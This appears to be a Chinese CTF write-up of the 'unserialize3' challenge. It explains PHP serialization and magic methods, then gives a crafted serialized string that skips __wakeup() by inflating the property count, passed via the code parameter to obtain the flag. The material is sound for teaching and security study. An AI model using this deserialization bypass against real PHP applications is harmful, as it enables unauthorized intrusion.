unserialize3
0x01序列化与反序列化
- 序列化:将变量转换为可保存或传输的字符串的过程。
- 反序列化:在适当的的时候把这个字符串再转化成原来的变量使用。
优点:
- 存储和传输数据更方便,使程序维护性更高。
函数:
serialize,unserialize,json_encode,json_decode,
1、serialize、unserialize
<?php $a="aaaa"; $a=serialize($a);//字符序列化 echo $a; echo unserialize($a);//字符反序列化 echo PHP_EOL; $b=array("aaaa","bb","c"); $b=serialize($b);//数组序列化 echo $b; $b=unserialize($b);//数组反序列化 var_dump($b); echo PHP_EOL; s:4:"aaaa";aaaa a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) { [0]=> string(4) "aaaa" [1]=> string(2) "bb" [2]=> string(1) "c" } ?> 各个字符的意义: o:表示对象 a:表示数组 s:表示字符 i:表示数字 //s表示字符,4表示有4个字符,内容为"aaaa" //a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符
当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。
<?php $a = array("a","b","c"); $a=base64_encode(serialize($a)); echo $a; echo PHP_EOL; $b=unserialize(base64_decode($a)); var_dump($b); YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9 array(3) { [0]=> string(1) "a" [1]=> string(1) "b" [2]=> string(1) "c" } ?>
但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。
<?php $a = array("a","b","c"); $b=base64_encode(serialize($a)); $c=base64_encode(gzcompress(serialize($a))); echo $b; echo PHP_EOL; echo $c; echo PHP_EOL; $d=unserialize(base64_decode($b)); $e=unserialize(gzuncompress(base64_decode($c))); var_dump($d); echo PHP_EOL; var_dump($e);
0x02魔术方法
- PHP将所有以__开头的类方法保存为魔术方法,所以在定义方法时,除了魔术方法,不要以__为前缀。
- serialize()函数会检查类中是否存在一个魔术方法__sleep(),如果存在,该方法会被先调用,然后执行序列化操作,此功能用于清理对象。
- unserialize()函数会检查类中是否存在一个魔术方法__wakeup(),如果存在,先调用。
- __wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,绕过点。
0x03代码分析
class xctf{ public $flag = ‘111‘; public function __wakeup(){ exit(‘bad requests‘); } ?code= //绕过__wakeup()魔术函数,得到flag
运行php代码,创建对象,序列化变量
<?php class xctf{ public $flag = ‘111‘; public function __wakeup(){ exit(‘bad requests‘); } } $a=new xctf(); echo serialize($a); //O:4:"xctf":1:{s:4:"flag";s:3:"111";} ?>
修改属性值O:4:"xctf":2:{s:4:"flag";s:3:"111";},1->2
code传参
得到flag
参考链接:
https://www.cnblogs.com/dayin1/p/11465832.html
https://www.jianshu.com/p/8f498198fc3d
https://blog.csdn.net/zz_Caleb/article/details/89361250
相关推荐
klarclm 2019-07-09
WasteLand 2019-04-18
phpyounger 2019-04-17
luadenis0 2020-06-07
olyqcool 2020-05-15
Glassborken 2012-01-08
我的程序员人生 2018-09-07
spinachcqb 2019-06-26
王大壮 2011-08-02
静心斋 2011-07-11
Noneyes 2017-01-12
mingguyouxi 2017-01-12
qiyuandu 2017-01-05
wqzbxh 2018-09-03
云中之巅 2016-07-26
PHPArchitect 2015-03-24
贝伦酱 2009-12-09
云中之巅 2015-02-16